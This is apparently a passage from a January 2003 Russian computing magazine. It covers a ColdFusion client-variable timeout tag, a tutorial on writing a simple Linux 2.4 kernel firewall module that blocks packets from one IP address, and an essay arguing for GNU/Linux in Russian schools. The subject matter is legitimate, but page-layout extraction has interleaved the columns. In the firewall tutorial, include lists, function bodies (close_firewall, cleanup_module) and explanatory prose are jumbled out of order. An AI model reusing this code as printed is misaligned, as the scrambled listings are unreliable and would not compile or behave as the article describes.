жизни в базе данных нет такой гибкости определения времени с точностью до секунды. Хоть cookies и будут уничтожены с закрытием окна броузера, с физического носителя они будут стерты лишь по окончании числа дней, указанных в администраторе.

Brian Kotek, написавший ряд советов для ColdFusion в CNET Builder.com (http://builder.cnet.com/), предложил прекрасный custom tag, «ClientTimout.cfm», для решения этой проблемы и предоставления возможности детализации времени жизни Clientпеременных. Ниже приводится код этого тега: <CFPARAM NAME="CLIENT.CheckLastVisit "DEFAULT="#CreateODBCDateTime( Now())#"> <CFSET Compare = DateCompare (DateAdd(«n»,(ATTRIBUTES.TimeOut * -1), CreateODBCDateTime(Now())), CLIENT.CheckLastVisit)> <CFIF Compare IS NOT -1> <CFSET CALLER.TimedOut = "Yes"> <CFELSE> <CFSET CALLER.TimedOut = "No"> </CFIF> <CFSET CLIENT.CheckLastVisit = CreateODBCDateTime(Now())>

Для использования этого тега его необходимо вызвать ДО обращения к любой из ColdFusion страниц – обычно это в Application.cfm файле. <cf_ClientTimeout timeout="15">

Атрибут timeout – это число минут, в течение которых вы хотите, чтобы Client-переменные оставались активными после запроса очередной страницы. Какие переменные когда использовать? Cookies обычно используются для не слишком важных данных, потеря которых никоим образом не может повлиять на работу приложения. Кроме того, поскольку cookies привязаны к конкретному компьютеру, их необходимо создавать на каждом компьютере, с которого клиент запускает приложение. Session-переменные обычно используются для ответственных данных, поскольку эта информация хранится в памяти сервера и никогда не передается на машину клиента. Например, Session-переменные могут использоваться для идентификации пользователя. Пользовательские предпочтения, содержимое покупательской корзинки или права доступа клиента являются хорошими кандидатами для Client-переменных.

81


программирование Каждый, кому приходилось обеспечивать безопасность сети, прекрасно знает, что без надежного брандмауэра обойтись просто невозможно, и что его грамотная настройка требует от администратора глубоких знаний, опыта, терпения и времени. Однако многие ли интересовались вопросами внутреннего устройства и принципами функционирования брандмауэра? Предлагаем вам заглянуть «внутрь» простого брандмауэра и совершить путешествие по его исходному коду.

БРАНДМАУЭР ВЛАДИМИР МЕШКОВ Часть 1 Общий алгоритм функционирования брандмауэра В состав брандмауэра входят следующие элементы: ! загружаемый модуль ядра; ! процесс-демон; ! программа инициализации и запуска процессадемона. Брандмауэр приводится в действие путем загрузки модуля ядра, инициализации и запуска процесса-демона, который передает модулю данные, определяющие правила фильтрации пакетов. Эти правила демон получает при инициализации. Задача модуля – взаимодействие с приемной функцией протокола IP с целью анализа сетевого пакета и формирование данных для ведения log-файла. Поступивший из сети пакет передается для дальнейшей обработки драйверу сетевого адаптера. Драйвер, выполнив возложенные на него обязанности, отдает пакет приемной функции протокола сетевого уровня (в нашем случае это IP). Приемная функция, прежде чем продолжить обработку пакета, передает его для анализа модулю ядра. На основании полученных от процесса-демона правил фильтрации модуль определяет, может ли пакет проследовать далее по сетевому стеку или он должен быть блокирован (отброшен). О своем решении модуль

82

уведомляет приемную функцию и процесс-демон, который на данном этапе выполняет роль секретаря (ведет log-файл). Для упрощения задачи брандмауэр фильтрует только входящий трафик на предмет недопущения в систему пакетов, отправителем которых является хост с определенным IP-адресом. Для того чтобы вся эта схема заработала, в ядро системы необходимо внести некоторые изменения.

ЯДРО Приемная функция протокола IP Первое, что мы должны сделать, – это модифицировать приемную функцию протокола IP. Данная функция расположена в файле ${KERNEL_SRC}/net/ipv4/ip_input.c, где ${KERNEL_SRC} – каталог с исходными текстами ядра. В список заголовочных файлов добавляем еще один header-файл: # ifdef CONFIG_SF_FIREWALL # include <linux/sf_kernel.h> # endif

Далее в данном файле находим функцию ip_rcv. Согласно комментариям она выполняет основную работу по


программирование приему пакетов. В состав функции введем для своих нужд переменную: # ifdef CONFIG_SF_FIREWALL int err; # endif

Перед операцией проверки контрольной суммы пакета (ip_fast_csum) добавляем код, осуществляющий передачу пакета модулю: # ifdef CONFIG_SF_FIREWALL if ((err=sf_fw_chk(iph,dev,SF_STATE_RECEIVE))!=1) { kfree_skb(skb); return 0; } # endif

Передача пакета модулю происходит при помощи функции sf_fw_chk. Подробно эту функцию мы рассмотрим ниже. Если возвращаемое значение не равно 1, структура skb, содержащая полную информацию о принятом пакете (см. <linux/skbuff.h>), обнуляется, приемная функция отбрасывает этот пакет и ждет очередной.

Файл sf_kernel.h В данном файле определены некоторые константы и содержится список экспортируемых функций. Файл имеет следующее содержание: #define SF_RC_ACCEPT 1- разрешить прием пакета #define SF_RC_BLOCK 0- блокировать прохождение пакета #define SF_STATE_RECEIVE 0- идентификатор приемной функции протокола IP extern int sf_fw_chk_pass(struct iphdr *, struct net_device *, int); extern int sf_fw_chk_block(struct iphdr *, struct net_device *, int); extern int (*sf_fw_chk)(struct iphdr *, struct net_device *, int);

Функция sf_fw_chk_pass разрешает прохождение пакета, а функция sf_fw_chk_block – запрещает. Указатель (*sf_fw_chk) настраивается на одну из этих функций в зависимости от ситуаций, которые мы рассмотрим ниже. Все эти функции определим в файле sf_stub.c. Сформированный файл sf_kernel.h необходимо разместить в каталоге ${KERNEL_SRC}/include/linux.

Файл sf_stub.c Здесь, как уже было сказано, находятся определения функций sf_fw_chk_pass, sf_fw_chk_block и указателя (*sf_fw_chk). В данный файл необходимо включить следующие заголовочные файлы:

#ifdef CONFIG_SF_FIREWALL int (*sf_fw_chk)(struct iphdr *ip, struct net_device *rif, int opt) = sf_fw_chk_pass;

Функция sf_fw_chk_pass разрешает прием всех поступивших пакетов: int sf_fw_chk_pass(struct iphdr *ip, struct net_device *rif, int opt) { return SF_RC_ACCEPT; }

Функция sf_fw_chk_block блокирует прием пакетов: int sf_fw_chk_block(struct iphdr *ip, struct net_device *rif, int opt) { return SF_RC_BLOCK; } #endif /* CONFIG_SF_FIREWALL */

Обе функции принимают три параметра: ! заголовок IP-пакета (struct iphdr, определена в файле <linux/ip.h>); ! структуру с информацией о сетевом интерфейсе (struct net_device, определена в заголовочном файле <linux/ netdevice.h>); ! идентификатор приемной функции протокола IP (int opt). Сформированный файл sf_stub.c необходимо разместить в каталоге ${KERNEL_SRC}/net/ipv4. В Makefile, находящийся в этом же каталоге, в секцию obj-y добавляется запись sf_stub.o для формирования соответствующего объектного модуля и последующего включения его в общий модуль ipv4.o.

Файл ksyms.c Заключительным этапом внесения изменений в ядро является добавление экспортируемых функций в таблицу символов ядра, которая расположена в файле ${KERNEL_SRC}/kernel/ksyms.c. В перечне заголовочных файлов укажем дополнительно файл sf_kernel.h: #ifdef CONFIG_SF_FIREWALL #include <linux/sf_kernel.h> #endif

и дополним таблицу символов: #ifdef CONFIG_SF_FIREWALL EXPORT_SYMBOL(sf_fw_chk_pass); EXPORT_SYMBOL(sf_fw_chk_block); EXPORT_SYMBOL(sf_fw_chk); #endif

Файл config.in #include #include #include #include #include

<linux/config.h> <linux/kernel.h> <linux/netdevice.h> <linux/ip.h> <linux/sf_kernel.h>

По умолчанию, пока модуль не загружен, указатель (*sf_fw_chk) настраивается на функцию sf_fw_chk_pass, и все принятые пакеты обрабатываются стандартным способом:

№1(2), январь 2003

Для включения в ядро всех сделанных изменений добавим в файл ${KERNEL_SRC}/arch/i386/config.in в секцию “GENERAL SETUP” следующую запись: bool 'SF_FIREWALL SUPPORT' CONFIG_SF_FIREWALL

После этого необходимо перекомпилировать ядро с включенной поддержкой нашего брандмауэра.

83


программирование МОДУЛЬ ЯДРА Тем из вас, кто не знаком с вопросом разработки модулей ядра для операционной системы GNU/Linux, рекомендую для изучения статью «Написание драйверов в Linux: первые шаги» (http://www.programme.ru/archive/2001/8/ 082001_1.phtml). Наш модуль представляет из себя символьное (байториентированное) устройство. Для него необходимо создать файл устройства следующей командой:

является адрес структуры struct file_operations firewall_fops (см. <linux/fs.h>). Для нашего модуля мы определим функции открытия устройства, записи/чтения и закрытия. Следовательно, структура firewall_fops примет следующий вид: struct file_operations firewall_fops = { read: read_firewall, write: write_firewall, open: open_firewall, release: close_firewall, };

mknod /dev/firewall c 44 0

Функция открытия устройства Заголовочные файлы и переменные Нам понадобятся следующие заголовочные файлы: #include #include #include #include #include #include #include #include #include

<linux/module.h> <linux/kernel.h> <linux/slab.h> <linux/fs.h> <linux/netdevice.h> <linux/types.h> <linux/ip.h> <linux/sf_kernel.h> <asm/uaccess.h>

Определим старший номер устройства:

Перед началом работы с устройством необходимо открыть его при помощи системного вызова open(). Функция имеет следующий вид: static int open_firewall(struct inode *inode, struct file *file) {

Если устройство уже открыто, сообщить об этом: if(MOD_IN_USE) return -EBUSY;

Первое, что мы сделаем при открытии, проверим значение младшего номера:

#define FIREWALL_MAJOR 44 – старший номер устройства. if (MINOR(inode->i_rdev) != 0) return -ENODEV;

Структура с данными для заполнения log-файла: struct data_log { __u32 addr; int action; int ready; } *sf_entry_log;

Назначение полей структуры следующее: ! addr – IP-адрес отправителя пакета; ! action – выполненное действие (1 – пакет принят, 0 – пакет отброшен); ! ready – флаг готовности данных для считывания.

Регистрация устройства в системе Регистрацию устройства в системе выполняет функция init_module:

{

int init_module(void) { if (register_chrdev (FIREWALL_MAJOR,"firewall",&firewall_fops))

printk("unable to get major %d for firewall device\n", FIREWALL_MAJOR); return -EIO; } return 0; }

Если при регистрации произошла ошибка, измените значение номера FIREWALL_MAJOR.

Функции модуля Третьим параметром функции регистрации init_module

84

Младший номер должен быть равен 0. Если это не так, возвращается сообщение об отсутствии данного устройства в системе. Если все в порядке, проверяем режим работы устройства. Устройство должно быть открыто в режиме записи/ чтения: if ((file->f_mode & 1) != 1) return -EBUSY;

Следующий шаг – выделение памяти для структур: sf_entry_log=(struct data_log *)kmalloc(sizeof(struct data_log),GFP_ATOMIC); iph=(struct iphdr *)kmalloc(sizeof(struct iphdr),GFP_ATOMIC);

Данная операция осуществляет выделение памяти в пространстве ядра. Наличие спецификатора GFP_ATOMIC (GFP – Get Free Page) указывает на необходимость выделения памяти немедленно (в отличии от GFP_KERNEL). Теперь необходимо снять заглушку, которую мы ранее установили. Напомню, что указатель (*sf_fw_chk) был настроен на функцию sf_fw_chk_pass, и все принятые пакеты бесприпятственно проходили в систему. После открытия модуль снимает заглушку путем настройки указателя (*sf_fw_chk) на функцию sf_check_packet, которая осуществляет непосредственный анализ принятого пакета на соответствия условиям фильтрации: sf_fw_chk = sf_check_packet;


программирование Сама функция sf_check_packet будет приведена ниже. Устанавливаем флаги доступности устройства и готовности данных: sf_fw_enabled++; sf_entry_log->ready=1;

Увеличиваем счетчик использования модуля и выходим из функции:

}

MOD_INC_USE_COUNT; return 0;

Функция записи в устройство В процессе записи модулю передается IP-адрес хоста, чьи пакеты необходимо блокировать. Функция имеет следующий вид: static ssize_t write_firewall(struct file *file, const char *buf, size_t count, loff_t *ppos) {

Возвращаем в вызывающую функцию число записанных байт: count = sizeof(struct iphdr); return count; }

Функция чтения из устройства В процессе чтения из устройства считывается информация для заполнения log-файла. Функция чтения имеет следующий вид: static ssize_t read_firewall(struct file *file, char *buf, size_t count, loff_t *ppos) {

Второй аргумент данной функции является указателем на структуру struct data_log. Проверяем размер запрашиваемых данных: if (count!=sizeof(struct data_log)) return -EINVAL;

Проверяем доступность устройства: Второй аргумент функции – блок данных, который передается модулю, третий аргумент – размер блока в байтах. Последний аргумент определяет текущую позицию в файле устройства, мы его в данном примере не используем. В модуль мы будем передавать структуру, содержащую IP-заголовок. В этой структуре поле, соответствующее адресу источника, будет содержать значение, определяющее правило фильтрации. Размер блока данных должен быть равен размеру этой структуры. Проверим это: if(count!=sizeof(struct iphdr)) return -EINVAL;

На время записи в устройство данных заблокируем прохождение пакетов. Для этого определим вспомогательный указатель на функцию: int (*sf_fw_chk_save)(struct iphdr *, struct net_device *, int);

Заблокируем прохождение пакетов: sf_fw_chk_save = sf_fw_chk; sf_fw_chk = sf_fw_chk_block;

Считываем блок данных в модуль: copy_from_user(iph,buf,sizeof(struct iphdr));

Функция copy_from_user() осуществляет копирование блока данных из пространства пользователя в пространство ядра. Данная функция определена в файле <asm/ uaccess.h>. Снимаем блокировку прохождения пакетов: sf_fw_chk = sf_fw_chk_save;

Фиксируем новую позицию в файле устройства: file->f_pos += count;

№1(2), январь 2003

if (sf_fw_enabled<=0) return -ENODEV;

Передаем вызывающей функции запрашиваемые данные: copy_to_user(buf,sf_entry_log,sizeof(struct data_log));

Структуру struct data_log заполняет функция sf_check_packet(). Фиксируем новую позицию в файле устройства: file->f_pos += count;

Сбрасываем флаг готовности данных для считывания. Установку этого флага выполнит функция sf_check_packet() после получения очередного пакета: sf_entry_log->ready = 0;

Возвращаем в вызывающую функцию число считанных байт: count = sizeof(struct data_log); return count; }

Функция sf_check_packet Как уже говорилось, данная функция выполняет проверку принятого пакета на соответствие условиям фильтрации и заполняет информационную структуру struct data_log для ведения log-файла. Функция имеет следующий вид: int sf_check_packet(struct iphdr *ip, struct net_device *rif, int opt) {

85


программирование Аргументы функции были перечислены выше. Заполнить поле addr структуры sf_entry_log IP-адресом источника пакета:

Устанавливаем заглушку – разрешаем прохождение пакетов в систему: sf_fw_chk = sf_fw_chk_pass;

sf_entry_log->addr = ip->saddr;

Снимаем регистрацию: Проверить адрес принятого пакета: if (ip->saddr == iph->saddr) { sf_entry_log->action = SF_RC_BLOCK; sf_entry_log->ready = 1; return SF_RC_BLOCK; }

Если IP-адрес полученного пакета совпадет с тем, который необходимо блокировать, приемная функция протокола IP получит команду на сброс пакета, и будет установлен флаг готовности данных для чтения из устройства. Если это условие не выполняется, то пакет будет допущен для дальнейшей обработки:

}

sf_entry_log->ready = 1; sf_entry_log->action = SF_RC_ACCEPT; return SF_RC_ACCEPT;

Функция закрытия устройства Функция имеет следующий вид: static int close_firewall(struct inode *inode, struct file *file) {

Декремент флага доступности устройства: sf_fw_enabled—;

Блокируем все поступающие пакеты: sf_fw_chk = sf_fw_chk_block;

unregister_chrdev(FIREWALL_MAJOR,"firewall"); return; }

Makefile Для получения загружаемого модуля создадим Makefile следующего содержания: include make.options # Компилятор CC = gcc # Имя модуля module = sf_device.o # Флаги компиляции CFLAGS = -O2 -Wall -fomit-frame-pointer MODFLAGS = -D__KERNEL__ -DMODULE -I$(LINUX)/include sf_device.o: sf_device.c $(CC) -c $(CFLAGS) $(MODFLAGS) sf_device.c

Назаначение флагов: ! O2 - включить оптимизацию; ! Wall – выводить на экран все предупреждения о возможных ошибках (warning all); ! fomit-frame-pointer – не сохранять указатель на кадр (frame pointer) в регистре для функций, которые не нуждаются в этом. Это позволяет избежать инструкций на сохранение, определение и восстановление указателя на кадр (frame pointer), в то же время освобождая регистры для других функций.

Освобождаем память: Содержание файла make.options: kfree(sf_entry_log); kfree(iph);

Уменьшаем счетчик использования модуля: MOD_DEC_USE_COUNT; return 0; }

# Каталог с исходниками ядра LINUX = /usr/src/linux

Компиляция и загрузка модуля Для компиляции достаточно ввести команду make. В текущем каталоге появится файл sf_device.o. Загрузка модуля осуществляется командой insmod:

Снятие регистрации устройства Снятие регистрации выполняет функция cleanup _module:

insmod sf_device.o

Удаление модуля из памяти выполняет команда rmmod: void cleanup_module(void) {

Проверяем, использует кто-нибудь наш модуль или нет: if(MOD_IN_USE) { printk("firewall: busy - remove delayed\n"); return; }

86

rmmod sf_device

Если у вас появятся вопросы по данной части стать – задавайте их на форуме журнала. Приведенный код был разработан и протестирован GNU/Linux, дистрибутив Slackware 7.1, ядро 2.4.17, компилятор gcc-2.95.2.


ОБРАЗОВАНИЕ


образование

ПИНГВИН ИДЕТ В ШКОЛУ

СЕРГЕЙ ГОЛУБЕВ Уже давно никого не удивляет наличие неких препаратов, которые очень активно рекламируются по телевидению в качестве лекарства «от всего». Причем в качестве побочного эффекта они приводят либо к потере избыточного веса, либо к появлению недостающих ферментов, либо еще к чему-нибудь очень нужному и хорошему. И я не думаю, что вера в чудодейственные препараты отличает только бывших советских граждан. Просто так устроен человек: ему намного приятнее думать, что существует какоето одно средство от многих проблем, чем постоянно убеждаться в том, что для решения даже одной проблемы не хватает и доброго десятка средств. И что характерно, чудодейственные рецепты совершенно отсутствуют в том же ракетостроении или той же квантовой механике. Если не брать в расчет политику, то панацеи от всех бед наиболее распространены в здравоохранении и образовании. Об одной

88

из таких панацей и пойдет речь. О бедственном положении и всей системы российского школьного образования вообще, и каждого отдельно взятого предмета в частности не писал в последнее время только очень ленивый. А когда речь заходит про такую дисциплину как информатика, то практически каждый гражданин нашей страны, который причисляет себя по меньшей мере к продвинутым пользователям, считает чуть ли не своим долгом высказать свое отношение «ко всему этому безобразию». А чтобы при такой ситуации и не появился очередной «вьетнамский бальзам» – дело практически нереальное. И он, разумеется, появился. Называется этот бальзам GNU/Linux и именно с этой операционной системой связывает будущее российской информатики вся прогрессивная компьютерная общественность. И как это положено в подобных случаях, в дискуссии принимают участие исключитель-

но либо сторонники, либо противники этого метода лечения, которым уже не до больного, мнение которого особо никого и не интересует. По всей видимости, объективно рассуждать об этой проблеме очень тяжело, да на это никто и не претендует, однако следует признать, что все намного сложнее, чем это может показаться в полемическом задоре. Сторонники свободного софта приводят в качестве примера Мексику, правительство которой уже предпринимает определенные усилия в правильном направлении, а противники открытых исходников аппелируют к тому же Мексиканскому опыту, который даже самый законченный оптимист вряд ли назовет успешным. И у нас наряду с МГИУ, где Linux является основной операционной системой, существует огромное количество университетов и академий, в которых если и слышали про свободный UNIX, то особого внимания этому не прида-


образование ли. Что же тогда говорить про обыкновенные школы, пусть даже и торжественно переименованные в гимназии и лицеи? Однако факт остается фактом – теоретически образовательные учреждения могут очень сильно выиграть, если будет принято положительное решение в отношении перевода системы образования на свободный софт. Но, как известно, от теории до практики не так уж и близко. И многое из того, что очевидно теоретику, бывает просто неприемлемым с точки зрения практика.

Теоретическое заключение № 1 (нравственноюридическое) Следует признать сразу и без обсуждения, что школа должна всегда и во всем поступать честно, в полном соответствии с общественной моралью и законами государства. Нарушить то или другое можно либо по незнанию, либо намеренно. Причем оба эти варианта в случае школы очень плохие, поскольку публичное и бескорыстное нарушение закона представляет, по сути, проявление высшей степени нелояльности к государству, что неприемлемо для государственной организации, которой и является школа, а некомпетентность работника образования наводит на мысли о том, что перед тем как учить других, было бы неплохо подучиться самому. И рассчитывать на то, что выпускник образовательного учреждения, в котором отсутствует уважение к чужому авторскому праву, по каким-то причинам будет это самое право уважать – по меньшей мере, наивно. Скорее всего, он даже прибегнет к экстраполяции и распространит свое отношение к этому закону на все остальные, и о том, что получится в результате такого «образования», лучше даже и не говорить. Разумеется, публичная лицензия GPL является точно такой же лицензией, как и все остальные, и ее тоже можно нарушить по вышеуказанным причинам, но все-таки использование программ, которые написаны под этой лицензией имеет ряд преимуществ для системы образования. Основное достоинство этой лицензии состоит в

№1(2), январь 2003

том, что образовательное учреждение практически не имеет шансов ее нарушить. То есть нет у школы таких задач, при выполнении которых существует опасность хоть на дюйм отступить от духа и буквы этой лицензии. В этом месте следует сделать небольшое отступление и попытаться развеять очень популярный в настоящее время миф о том, что любой конечный пользователь, купивший пиратский диск, формально никаких законов не нарушает, поскольку лично он никаких защит не ломал и, в крайнем случае, является просто добросовестно заблуждающейся стороной, которого обманул нечестный продавец. Безусловно, дело обстоит именно так в случае домашнего использования, и домашний пользователь имеет полное право даже подать на продавца в суд, если вдруг его благоприобретенный за 70 рублей Windows XP откажется воспринимать очередной сервис-пак по причине своего плебейского происхождения. Более того, в российской судебной практике уже случались подобные истории, в чем читатель может убедиться, если посмотрит материалы, которые находятся на www.treasury.ru/~vampiro/ hohma.html. Однако использование чего бы то ни было (в том числе и программного обеспечения, разумеется) для обучения других представляет из себя самое что ни на есть коммерческое употребление продукта со всеми вытекающими отсюда последствиями. И все доводы о том, что некоторой организации для осуществления своей деятельности не хватает средств, хороши только для публициста, а с точки зрения закона эти оправдания просто смешны. Итак, нарушить лицензию можно либо в процессе покупки программного продукта, предназначенного для коммерческого использования, либо в процессе этого самого использования. И дистрибутив системы Linux представляет из себя просто идеальный продукт с точки зрения закона. Возможно, что и существуют какието способы незаконного приобретения дистрибутива, но ничего, кроме банальной кражи компакт-диска, на ум не приходит. Более того, даже в этом случае вопрос о законном использовании системы является как

минимум спорным. С использованием все несколько сложнее. Несмотря на известный либерализм, GPL является очень жесткой лицензией, которая накладывает существенные ограничения на использование свободных программ. Например, владелец дистрибутива не имеет права продавать его на каких-либо условиях, которые отличаются от тех, на которых он приобрел его сам (речь идет разумеется не о цене, цену можно назначать любую – был бы покупатель согласен). Нельзя также использовать исходные тексты свободных программ для создания программ с недоступным покупателю кодом. Но, поскольку школа вряд ли будет заниматься торговлей дистрибутивами или разработкой прикладного ПО, вполне можно считать, что с дистрибутивом системы Linux школа может делать все, что угодно. Итак, рассмотрение первого теоретического заключения принесло системе Linux большой толстый плюс.

Теоретическое заключение № 2 (обывательскопотребительское) Как-то в начале прошлого года пришлось мне выполнять просьбу одного приятеля. Ему понадобился дистрибутив системы Windows 98 в коробочном исполнении, то есть именно такой, какой и должна использовать школа. Менеджеры тех фирм, в которые я обращался, охотно рассказывали про то, что в связи с решением нашего западного соседа о наведении порядка в сфере программного обеспечения представители украинских компаний скупили практически все, что было, на месяц вперед. Так что очередной благородный порыв моего приятеля так и остался нереализованным, поскольку за этот самый месяц благополучно сошел на нет. При использовании системы Linux таких проблем не может возникнуть в принципе, поскольку дистрибутив можно получать самыми разнообразными способами, начиная от скачивания из Интернета и заканчивая переписыванием у приятеля. Таким образом, проблема состоит в том, чтобы найти в доступном пространстве хотя бы одного «линуксоида». Разумеется,

89


образование это имеет значение только в том случае, если переход на Linux обусловлен только энтузиазмом отдельно взятой школы. При централизованном подходе все представляется еще более простым. Поскольку в России уже успешно работают две фирмы, которые выпускают собственные дистрибутивы системы Linux, то они вполне в состоянии выполнить заказ (или просьбу) соответствующего департамента и собрать дистрибутив, оптимизированный специально для образовательных целей. Причем, условия лицензии GPL таковы, что тиражирование этого дистрибутива вполне может осуществляться и на местах. Пишущий привод в настоящее время уже не является чрезмерно дорогим удовольствием и имеется во многих школах. Таким образом, даже поверхностный анализ второго теоретического заключения приносит свободному софту второй плюс.

Теоретическое заключение № 3 (финансовоэкономическое) Это заключение является, на первый взгляд, самым простым и оказывается самым запутанным после даже небольших размышлений. Казалось бы, что тут говорить, ведь даже самые роскошные коробочные многодисковые дистрибутивы от ASPLinux и ALTLinux, которые содержат прекрасную бумажную документацию и включают в себя превеликое множество прикладных программ продаются за сумму меньшую чем одна только «голая» система Windows 98. Причем все что там находится, можно неограниченно тиражировать и довести стоимость системы до величины, близкой к нулю. Речь идет не только о ядре системы, но и о всех прикладных программах, которые только можно себе вообразить. Однако именно соображения финансового характера и являются главным препятствием широкому внедрению системы Linux в образовательную сферу. Все дело в том, что если установка Windows, как правило, проходит достаточно быстро и без особых осложнений (я прекрасно понимаю всю спорность этого утверждения, но

90

прошу иметь в виду, что речь в данном случае идет об обычном школьном компьютере), то грамотная установка системы Linux пока еще является исключительно штучным товаром ручной работы. Во избежание праведного гнева знатоков современных дистрибутивов хочу заметить, что все эти дистрибутивы требуют больших системных ресурсов и большого дискового пространства, которое на 50% будет забито тем, что любитель Debian не переносит на жесткий диск изначально. Таким образом, действительно существуют машины, на которые Linux устанавливается даже проще чем Windows, но существуют и другие машины и, как назло, в школах намного больше этих самых других. Все умные рассуждения на тему экономии при использовании свободного софта опираются на то, что железо подбирается специально под него. В этом случае экономия действительно получается впечатляющей, но проблема состоит в том, что менять весь машинный парк большинство школ просто не в состоянии и вынуждена исходить из того, что, как говорится, исторически сложилось. Самое главное, что стандартного пути для решения этой проблемы нет. В тех населенных пунктах, где существует активно работающая Linux User Group, проблема в принципе решаема, поскольку какое-то свободное время у членов этой группы есть и они в состоянии помочь школе установить весь необходимый софт. Аналогичное решение можно применить и при наличии достаточного количества родителей-программистов. Существует еще какая-то надежда на то, что эту работу в состоянии выполнить сам преподаватель информатики, но, как правило, он не имеет просто физической возможности делать что-то помимо ведения уроков, а в сутках всего 24 часа. Так что для большинства школ установка системы Linux будет связана с расходами. И при ближайшем рассмотрении выясняется, что эти расходы не такие уж и маленькие. Впрочем, расходы эти несколько иного рода. По всей видимости, самый лучший выход в данном случае заключается в централизованной организации сети спе-

циальных курсов для преподавателей информатики. А это уже дорогое удовольствие. Однако положительным моментом этих расходов является то, что полученная в процессе учебы информация позволит преподавателям передавать ученикам больше знаний. Но считать, что переход системы образования на свободный софт не будет стоить ни копейки, нельзя. Получается, что третье заключение не такое оптимистичное и очень большого плюса системе Linux не приносит.

Теоретическое заключение № 4 (заботливо-участливое) Существует один умозрительный довод, который используют для доказательства своей правоты как противники, так и сторонники «пингвинизации» российского образования. Заключается он в востребованности конкретных знаний и умений. Дескать, если практически везде требуются сотрудники, которые знают «Ворд-Ексель», то именно этому и надо учить. Сомнительность этого утверждения мы обсудим несколько позже, а в этом разделе имеет смысл проанализировать его истинность. Если верить сторонникам преподавания информатики на основе проприетарного софта, то получается, что систему Windows используют практически все российские предприятия, за исключением может быть специализированных фирм вроде провайдерских. На первый взгляд это утверждение неопровержимо, достаточно только посмотреть на объявления в газетах. Но это только на первый взгляд. При более тщательном рассмотрении выясняется, что это утверждение если и не выполняется с точностью до наоборот, то сильно к тому стремится. На самом деле, апологеты Windows-ориентированной информатики забывают про одно слово, без которого любое социологическое исследование в области программного обеспечения представляет интерес исключительно для компетентных органов, но не для образовательных учреждений. Это слово – легально. Лично я сильно сомневаюсь в том, что количество предприятий, легально


образование использующих систему Windows радикально больше числа фирм, которые выбрали Linux в качестве корпоративной платформы. И не нужно быть семи пядей во лбу, чтобы сделать вывод о том, что нынешнее положение вещей прямо способствует подготовке кадров для серой экономики. Более того, напрочь забыто то, что у сегодняшних школьников есть некоторый резерв времени до начала трудовой деятельности. Поэтому следует учитывать не статичное состояние рынка программного обеспечения, а процесс в динамике. Уже на сегодняшний день существуют и успешно внедряются даже полнофункциональные офисные решения на базе системы Linux. Не так давно появилось совместное заявление компаний 1С и ASPLinux о том, что начата работа по переносу самой распространенной бухгалтерской программы на систему Linux и уже есть некоторые практические достижения в этой области. А бухгалтерская система Hansa уже давно и успешно завоевывает позиции на российском рынке. Дело осталось за немногим и, как только государство займет достаточно бескомпромиссную позицию по отношению к расхитителям интеллектуальной собственности, ситуация может стать и вовсе адекватной. Худо-бедно, это заключение если и не принесло плюса свободному софту, то избавило его от пусть сомнительного, но минуса.

Теоретическое заключение № 5 (учебно-методическое) Вот и добрались мы до самого главного. Действительно, система может быть и простой, и бесплатной, и какой угодно замечательной, но если она непригодна для обучения, то этот минус перекрывает все плюсы. Следует честно признать, что этот момент является пока самым слабым местом системы Linux. Причина проста – очень мало учебников, в которых Linux рассматривается в качестве просто «одной из операционных систем». И это неспроста. Школьный предмет «информатика» отличается от других точных

№1(2), январь 2003

наук, изучаемых в школе, прежде всего тем, что на нем практически не ощутим задел советской школы, поскольку на этот самый задел просто не хватило времени. И если преподаватели физики, химии и математики еще долго смогут питаться тем, что называется традициями и не может исчезнуть за несколько лет, то преподаватель информатики такой возможности лишен. Отсюда и происходит неопределенность в толковании самого предмета, отсутствие четких требований и программ. Впрочем, это тема совсем другой статьи совсем в другом издании. Но некоторых моментов преподавания информатики придется коснуться хотя бы для того, чтобы правильно понимать то, что будет написано далее. По сути дела, отсутствие школы преподавания информатики в широком смысле этого слова привело к тому, что предмет раздвоился. Некоторые преподаватели занимаются с учениками чистым программированием, что в общем и соответствует изначальному предназначению предмета, но имеет место и методика «компьютерного ликбеза», которая и сводится к освоению текстового редактора Word, работе в электронных таблицах Excel и созданию презентаций. Есть ли смысл в такой науке? Скорее всего, нет. Имеет ли смысл занимать нишу, которая должна принадлежать коммерческим курсам по освоению конкретных программ? Вероятнее всего, тоже нет. Каковы причины превращения уроков информатики в бесплатную рекламу продукции одной известной фирмы? Пожалуй, что ответ на этот вопрос может (или должна) дать только некая государственная служба с трехбуквенным названием. Но даже если считать, что ликбезный стиль обучения имеет полное право на существование можно с полной уверенностью утверждать о возможности полной замены проприетарных программ на свободные для организации полноценного учебного процесса. Офисные технологии вполне можно изучать и на примере свободного пакета Open Office, для работы с графикой должно хватить графического редактора Gimp, а ос-

воить приемы навигации в Интернете поможет Mozilla. Для изучения же непосредственно программирования Linux пригоден на все сто. Более того, даже не придется менять какие бы то ни было методики. Просто связка из DOS и Turbo Pascal заменяется на Linux и Free Pascal Compiler. Подробнее почитать про этот продукт можно на fpc.by.ru. Еще одно из достоинств этой программы состоит в том, что использовать ее можно практически на любой платформе, что облегчает работу по миграции. Для начала можно работать со Свободным Паскалем в системе DOS, а переход на Linux проводить постепенно. Кстати, учебники для тех, кто выбрал Linux в качестве базовой платформы уже существуют и подготовлены коллективом МГИУ, который уже давно использует систему Linux для обучения студентов. Полную информацию об этом учебнике можно почитать на www.ctc.msiu.ru/materials/books.php. Таким образом и последнее испытание Linux выдержал с успехом, получив хороший плюс.

Просто заключение К счастью, ситуация такова, что многие школы используют компьютеры не только на уроках информатики. Существует довольно много хороших учебных программ для изучения физики, математики, химии и прочих предметов. И до недавнего времени таких программ под Linux просто не было. Однако ситуация и тут начинает меняться. Компания «Физикон», которая является одним из ведущих производителей качественного учебного софта уже заявила о своем намерении выпустить локальную версию ресурса «Открытый колледж», которую можно будет использовать в школьных и городских сетях и которая работает на сервере под управлением системы Linux. Конечно, перевод всей системы образования на свободную платформу – очень непростая задача при выполнении которой встретится много подводных камней. Но начинать надо уже сейчас, поскольку времени на ее решение осталось не так и много. Надо спешить, пока то что еще считается отклонением от нормы не превратилось в норму.

91


образование

ДОСТУПНЫЙ LINUX В КАЖДУЮ ШКОЛУ!

ВИКТОР МЕЛЬНИКОВ АНДРЕЙ ШЕВЧЕНКО

Что может быть проще чем переделка интерфейса? Для Открытых Систем в этом плане нет никаких ограничений. Для того чтобы немного прояснить ситуацию с вопросом «а зачем это делать?», проведем экскурс в законотворчество и юриспруденцию. На Украине сейчас идет довольно массовое лицензирование используемого программного обеспечения (ПО), как правило представленного единственной компанией (не будем скрывать – монополистом пока что)

92

